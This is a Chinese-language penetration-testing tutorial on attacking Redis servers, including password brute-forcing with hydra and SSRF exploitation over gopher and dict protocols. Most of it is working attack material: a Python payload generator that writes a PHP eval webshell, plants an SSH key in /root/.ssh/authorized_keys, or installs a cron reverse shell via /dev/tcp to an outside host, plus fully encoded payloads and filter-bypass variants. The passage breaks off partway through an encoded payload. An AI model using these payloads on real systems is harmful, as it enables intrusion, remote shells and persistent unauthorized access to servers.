> redis 反序列化本质上不是 redis 的漏洞，而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞，redis
> 本就是一个缓存服务器，用于存储一些缓存对象，所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
当Redis存在未授权攻击时，攻击者可以通过直接修改 Redis
中序列化后的数据，改为恶意的相应序列化payload，之后等待相关的服务应用程序读取该数据并反序列化处理该数据之后就会造成相应的攻击。
相关分析文章：
* [Spring Data Redis <=2.1.0反序列化漏洞](https://xz.aliyun.com/t/2339)
* [细数 redis 的几种 getshell 方法-反序列化](https://paper.seebug.org/1169/#_3)
* [掌阅iReader某站Python漏洞挖掘](https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html)
### 公网Redis未授权+相关CVE
针对低版本的redis未授权攻击，在写入常规恶意文件无法成功利用的情况下可以考虑使用如下相关漏洞来获取目标服务主机的相应权限。
* CVE-2016-8339
Redis 远程代码执行漏洞(CVE-2016-8339)
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞，可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写，代码执行。
* CVE-2015-8080
Redis 2.8.x在2.8.24以前和3.0.x
在3.0.6以前版本，`lua_struct.c`文件中的`getnum`函数存在整数溢出漏洞，远程攻击者可借助较大的数字利用该漏洞造成拒绝服务（内存损坏和应用程序崩溃）。
* CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码。
相关文章:
[Redis LUA Exploit](https://tanzu.vmware.com/security/redis-lua-sandbox)
[Redis CVE-2015-4335分析](https://cloud.tencent.com/developer/news/256777)
* CVE-2013-7458
读取“.rediscli_history”配置文件信息。
### 公网Redis授权+口令猜解
如果redis服务设置了密码认证，且密码复杂度低，则可以通过暴力破解的方式获取密码
* 利用hydra暴力破解redis的密码
$ hydra -P passwords.txt redis://x.x.x.x:xx
Testing
→ Qftm :~/Desktop# hydra -P redis_pass.txt redis://192.33.6.129:6379
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-11 22:58:32
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:1/p:12), ~1 try per task
[DATA] attacking redis://192.33.6.129:6379/
[6379][redis] host: 192.33.6.129 password: rootroot
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-11 22:58:33
→ Qftm :~/Desktop#
### 内网Redis未授权+SSRF攻击
有关redis的部署大多都是存在于内网，redis3.2之后默认绑定了本地IP地址`127.0.0.1`并开启了保护模式也就导致了默认的redis无法远程接入，自此存在于公网的redis逐渐消失，同时对于redis的攻击利用难度也越来越高。
但是，如果相关主机服务器存在SSRF服务端请求伪造攻击漏洞就可以突破内网限制进行内网应用探测、访问攻击内网应用服务，例如：使用SSRF攻击内网redis应用、攻击内网
Vulnerability Web等。
**Gopher协议详解**
**协议简介**
>
> Gopher是Internet上一个非常有名的信息查找系统，它将Internet上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处。在WWW出现之前，gopher是Internet上最主要的信息检索工具，gopher站点也是最主要的站点，使用tcp70端口。
>
> Gopher 协议是 HTTP 协议出现之前，在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。 Gopher
> 协议可以做很多事情，特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的
> FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
**协议格式**
# 格式里面的特殊字符'_'不一定是它也可以是其他特殊字符，因为gopher协议默认会吃掉一个字符
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求，回车换行需要使用%0d%0a，如果存在多个参数，参数之间的&也需要进行URL编码
**协议通信**
Gopher协议可以用于传输TCP数据【支持多行数据传输】，那么也就可以构造特定数据包发起相应的网络请求（GET、POST等）
在gopher协议中发送HTTP请求，一般需要以下几步
1、构造相应请求的HTTP数据包
2、URL编码(包括回车换行)
3、gopher协议请求
* 简单TCP数据传输
数据传递（默认吃掉一个字符：’_’）
→ Qftm :~# curl gopher://192.33.6.150:9999/_tcpdata
^C
→ Qftm :~#
数据监听
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Host name lookup failure
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48546
tcpdata
→ Qftm :~/Desktop#
* 发起HTTP GET请求
get.php
<?php
echo "Hello ".$_GET["name"];
?>
http请求GET数据包
GET /get.php?name=admin HTTP/1.1
Host: 192.33.6.150
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
编码处理
GET%20%2Fget.php%3Fname%3Dadmin%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28dows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2C*%2F*%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AConnection%3A%20close%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0ACache-Control%3A%20max-age%3D0%0D%0A
PS：注意GET数据包中末尾的回车换行（不可以丢掉）
gopher请求构造
gopher://192.33.6.150:80/_GET%20%2Fget.php%3Fname%3Dadmin%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28dows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2C*%2F*%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AConnection%3A%20close%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0ACache-Control%3A%20max-age%3D0%0D%0A
请求响应
→ Qftm :/var/www/html# curl gopher://192.33.6.150:80/_GET%20%2Fget.php%3Fname%3Dadmin%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28dows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2C*%2F*%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AConnection%3A%20close%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0ACache-Control%3A%20max-age%3D0%0D%0A
HTTP/1.1 200 OK
Date: Tue, 11 Aug 2020 11:26:34 GMT
Server: Apache/2.4.41 (Debian)
Content-Length: 11
Connection: close
Content-Type: text/html; charset=UTF-8
Hello admin → Qftm :/var/www/html#
* 发起HTTP POST请求
post.php
<?php
echo "Hello ".$_POST["name"];
?>
http请求POST数据包
POST /post.php HTTP/1.1
Host: 192.33.6.150
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://f19fffa3-b1f4-4453-897c-10bbedb54344
Content-Length: 10
Connection: close
name=admin
编码处理
POST%20%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29%20Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20*%2F*%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0ACache%3A%20no-cache%0D%0AOrigin%3A%20moz-extension%3A%2F%2Ff19fffa3-b1f4-4453-897c-10bbedb54344%0D%0AContent-Length%3A%2010%0D%0AConnection%3A%20close%0D%0A%0D%0Aname%3Dadmin
gopher请求构造
gopher://192.33.6.150:80/_POST%20%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29%20Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20*%2F*%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0ACache%3A%20no-cache%0D%0AOrigin%3A%20moz-extension%3A%2F%2Ff19fffa3-b1f4-4453-897c-10bbedb54344%0D%0AContent-Length%3A%2010%0D%0AConnection%3A%20close%0D%0A%0D%0Aname%3Dadmin
请求响应
→ Qftm :/var/www/html# curl gopher://192.33.6.150:80/_POST%20%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A%20192.33.6.150%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A78.0%29%20Gecko%2F20100101%20Firefox%2F78.0%0D%0AAccept%3A%20*%2F*%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0ACache%3A%20no-cache%0D%0AOrigin%3A%20moz-extension%3A%2F%2Ff19fffa3-b1f4-4453-897c-10bbedb54344%0D%0AContent-Length%3A%2010%0D%0AConnection%3A%20close%0D%0A%0D%0Aname%3Dadmin
HTTP/1.1 200 OK
Date: Tue, 11 Aug 2020 11:28:09 GMT
Server: Apache/2.4.41 (Debian)
Content-Length: 11
Connection: close
Content-Type: text/html; charset=UTF-8
Hello admin → Qftm :/var/www/html#
**Dict协议详解**
**协议简介**
Dict协议，一个字典服务器协议(A Dictionary Server Protocol)
官方文档介绍：[A Dictionary Server Protocol](http://www.dict.org/rfc2229.txt)
> 词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster
> protocol，并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。
**协议格式**
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://<user>;<auth>@<host>:<port>/m:<word>:<database>:<strat>:<n>
**协议通信**
对于dict协议传输的数据仅仅支持单行数据的传输，并且数据里面不能带有空格，空格后的字符默认不传输，这里应该是curl处理问题，后续ssrf通过浏览器测试则利用空格也成功【字符’:’代替字符空格’
‘】
# 正常数据传输
→ Qftm :/var/www/html# curl dict://192.33.6.150:9999/testing
^C
→ Qftm :/var/www/html#
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Unknown host
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48578
CLIENT libcurl 7.67.0
testing
QUIT
→ Qftm :~/Desktop#
# 空格截断后续数据传输
→ Qftm :/var/www/html# curl dict://192.33.6.150:9999/testing qftm
^C
→ Qftm :/var/www/html#
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Unknown host
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48602
CLIENT libcurl 7.67.0
testing
QUIT
→ Qftm :~/Desktop#
→ Qftm :~/Desktop# curl dict://192.33.6.150:9999/testing%20qftm
^C
→ Qftm :~/Desktop#
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Unknown host
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48668
CLIENT libcurl 7.67.0
testing%20qftm
QUIT
→ Qftm :~/Desktop#
# 空格等价替换【按照协议格式来（字符':'）】
→ Qftm :/var/www/html# curl dict://192.33.6.150:9999/testing:qftm
^C
→ Qftm :/var/www/html#
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Host name lookup failure
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48604
CLIENT libcurl 7.67.0
testing qftm
QUIT
→ Qftm :~/Desktop#
ssrf(空格)
GET /index.php?url=dict://127.0.0.1:6379/config%20get%20bind HTTP/1.1
Host: 192.33.6.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache: no-cache
Origin: moz-extension://f19fffa3-b1f4-4453-897c-10bbedb54344
Connection: close
HTTP/1.1 200 OK
Date: Wed, 12 Aug 2020 10:03:27 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 106
Connection: close
Content-Type: text/html; charset=UTF-8
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
*2
$4
bind
$0
+OK
对于dict协议的使用主要在于端口服务的探测和一些服务简单命令的使用
# 端口刺探
→ Qftm :/var/www/html# curl dict://192.33.6.129:22/
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
Protocol mismatch.
curl: (56) Recv failure: Connection reset by peer
→ Qftm :/var/www/html#
# 命令执行
→ Qftm :/var/www/html# curl dict://192.33.6.129:6379/get:qftm
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
$6
hacker
+OK
→ Qftm :/var/www/html#
**ssrf+redis常规攻击**
由于gopher协议可以传输redis的数据报文，也就可以达到类似之前对redis的连接、设置、存储等一系列操作。在这种情况下ssrf+gopher(dict)即可对内网redis等应用进行一定程度上的攻击，一些常见的操作如下：有关每部分具体分析见上面相关部分的详细分析
借鉴@七友师傅脚本处理思路，编写集成几种常规利用方式的payload处理（后续其它手段亦可添加）
# -*- coding: utf-8 -*- """
@Author: Qftm
@Data : 2020/8/12
@Time : 10:31
@IDE : IntelliJ IDEA
"""
import urllib
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
passwd = ""
payload = protocol + ip + ":" + port + "/_"
def redis_resp_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__ == "__main__":
print("##################### SSRF+Gopher->Redis Mode Choice #####################")
print("#")
print("# Mode 1：写入 Webshell For Web Service -> Effective dir")
print("#")
print("# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/")
print("#")
print("# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/")
print("#")
print("# Mode N：待添加 +++++++++++")
print("#")
print("##################### SSRF+Gopher->Redis Mode Choice #####################")
try:
mode = input("Choice Mode：")
mode = int(mode)
if mode == 1:
shell = "\n\n<?php eval($_GET[\"qftm\"]);?>\n\n"
dbfilename = "test.php"
dir = "/var/www/html/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd = ["flushall",
"set x {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
elif mode == 2:
ssh_key_pub = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
dbfilename = "authorized_keys"
dir = "/root/.ssh/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd=["flushall",
"set x {}".format(ssh_key_pub.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
elif mode == 3:
crontab = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.150/9999 0>&1\n\n"
dbfilename = "root"
dir = "/var/spool/cron/"
# 标志位'${IFS}'替换某部分空格，避免后续命令的分割出现问题
cmd = ["flushall",
"set x {}".format(crontab.replace(" ","${IFS}")),
"config set dir {}".format(dir),
"config set dbfilename {}".format(dbfilename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
for x in cmd:
payload += urllib.request.quote(redis_resp_format(x))
print(payload)
except Exception as e:
print(e)
**写入Webshell**
**（1）Gopher协议利用**
* 原始payload
flushall
set x '<?php eval($_GET["qftm"]);?>'
config set dir /var/www/html/
config set dbfilename test.php
save
quit
* resp数据格式转换
##################### SSRF+Gopher->Redis Mode Choice #####################
#
# Mode 1：写入 Webshell For Web Service -> Effective dir
#
# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/
#
# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/
#
# Mode N：待添加 +++++++++++
#
##################### SSRF+Gopher->Redis Mode Choice #####################
Choice Mode：1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22qftm%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Atest.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Process finished with exit code 0
* 二次编码：服务端默认会对gopher数据进行一次url解码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250Ax%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522qftm%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252414%250D%250A%2Fvar%2Fwww%2Fhtml%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Atest.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
* 攻击效果
**（2）Dict协议利用**
这里除了使用gopher协议利用外，同样也可以使用dict协议进行攻击利用，该协议不仅仅限于内网刺探，具体攻击手段如下【区别只是前者支持多行数据传输后者仅支持单行】
* 组合payload
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'<?php:eval($_GET["qftm"]);?>'
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
* 问题探索
利用组合payload攻击，但是会发现其中一条指令执行报错：`set:x:'<?php:eval($_GET["qftm"]);?>'`，报错信息为：`-ERR
Protocol error: unbalanced quotes in request`
经测试发现是因为其中的一个特殊字符而导致的致命报错，该字符就是：`?`，测试过程如下
→ Qftm :~/Desktop# curl dict://192.33.6.150:9999/'aaa?bbb'
^C
→ Qftm :~/Desktop#
→ Qftm :~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.33.6.150: inverse host lookup failed: Unknown host
connect to [192.33.6.150] from (UNKNOWN) [192.33.6.150] 48714
CLIENT libcurl 7.67.0
aaa
QUIT
→ Qftm :~/Desktop#
可以看到字符`?`中起到了截断作用，这里是否可以考虑将其编码呢，答案是：编码无法解决本质问题，因为如果进行一次编码的话服务端默认解码一次，导致dict协议还是无法规避字符`?`，那么编码两次呢，这种肯定是可以规避dict协议的，但是编码两次之后dict协议传入redis执行的命令其中就包含了剩余的一次编码，导致存储的恶意payload关键部分存在编码程序无法解析
一次编码问题验证
# 发送请求
?url=dict://127.0.0.1:6379/set:x:%27%3C%3Fphp:eval($_GET[%22qftm%22]);%3F%3E%27
# 响应
-ERR Protocol error: unbalanced quotes in request
二次编码问题验证
# 发送请求
?url=dict://127.0.0.1:6379/set:x:%27%3C%253Fphp:eval($_GET[%22qftm%22]);%253F%3E%27
# 响应【这里：第一个OK代表set指令成功执行、第二个OK代表dict协议执行完毕的quit退出指令】
+OK
+OK
# 查询二次编码payload存储的数据情况
?url=dict://127.0.0.1:6379/get%20x
# 响应【可以看到字符`?`被编码】
$32
<%3Fphp eval($_GET["qftm"]);%3F>
+OK
从上述实践可以看出来字符`？`无法逃逸解析。
* Bypass
考虑到，常规写入php文件以及短标签方式都被限制，因为他们其中都有字符`?`的存在，那么还有什么办法可以利用`dict`手段写入恶意php程序文件嘛，答案是有的，这里经过探索发现可以使用`<script>`和`ASP`两种代码程序标签格式进行绕过，具体探索分析过程如下
利用条件：
php version < 7.0
官方在自PHP7.0版本中移除了ASP 和 script PHP 标签
：[Link](https://www.php.net/manual/zh/migration70.incompatible.php)
对于`ASP`标签来说，默认是关闭的
; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = Off
这里如果目标站点开启asp标签支持，则可利用payload如下
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'<% @eval($_GET["qftm"]); %>'
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
测试效果
# 请求（某个特殊payload）
?url=dict://127.0.0.1:6379/set:x:'<% @eval($_GET["qftm"]); %>'
# 响应
+OK
+OK
# 查询
?url=dict://127.0.0.1:6379/get:x
# 响应
$27
<% @eval($_GET["qftm"]); %>
+OK
对于`<script>`标签来说默认生效和php短标签配置没有关系也没有什么其它限制
可利用payload如下
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:x:'<script language="php">@eval($_GET["qftm"]);</script>'
dict://127.0.0.1:6379/config:set:dir:/var/www/html/
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/save
测试效果
# 请求（某个特殊payload）
?url=dict://127.0.0.1:6379/set:x:'<script language="php">@eval($_GET["qftm"]);</script>'
# 响应
+OK
+OK
# 查询
?url=dict://127.0.0.1:6379/get:x
# 响应
$53
<script language="php">@eval($_GET["qftm"]);</script>
+OK
PS：对于dict协议，注意上面使用的Bypass手法最好进行一次URL编码之后在传入其中，避免不必要的问题（编码一次不影响redis指令的解析）
**写入SSH公钥免密登录**
**（1）Gopher协议利用**
* 原始payload
flushall
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
save
quit
* resp数据格式转换
##################### SSRF+Gopher->Redis Mode Choice #####################
#
# Mode 1：写入 Webshell For Web Service -> Effective dir
#
# Mode 2：写入 SSH Public Key For Linux OS -> /root/.ssh/
#
# Mode 3：写入 定时任务 For CentOS -> /var/spool/cron/
#
# Mode N：待添加 +++++++++++
#
##################### SSRF+Gopher->Redis Mode Choice #####################
Choice Mode：2
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%24394%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC%2B9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE%2BvjhCTQSYPJahin/s/a%2BIYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r%2BWxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP%2BAOv0wFwL9G8/glZEnGB%20root%40rose%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Process finished with exit code 0
* 二次编码：服务端默认会对gopher数据进行一次url解码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250Ax%250D%250A%2524394%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm%2FRm%2FcaKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD%2FQaHHLFMYvNXrGJQC%252B9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE%252BvjhCTQSYPJahin%2Fs%2Fa%252BIYEcjqyvkiuWVDWg2GMViMwq5Yh%2FELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r%252BWxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2%2FDEzEqsQcveFWw7mhqfp9kNHP%252BAOv0wFwL9G8%2FglZEnGB%2520root%2540rose%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D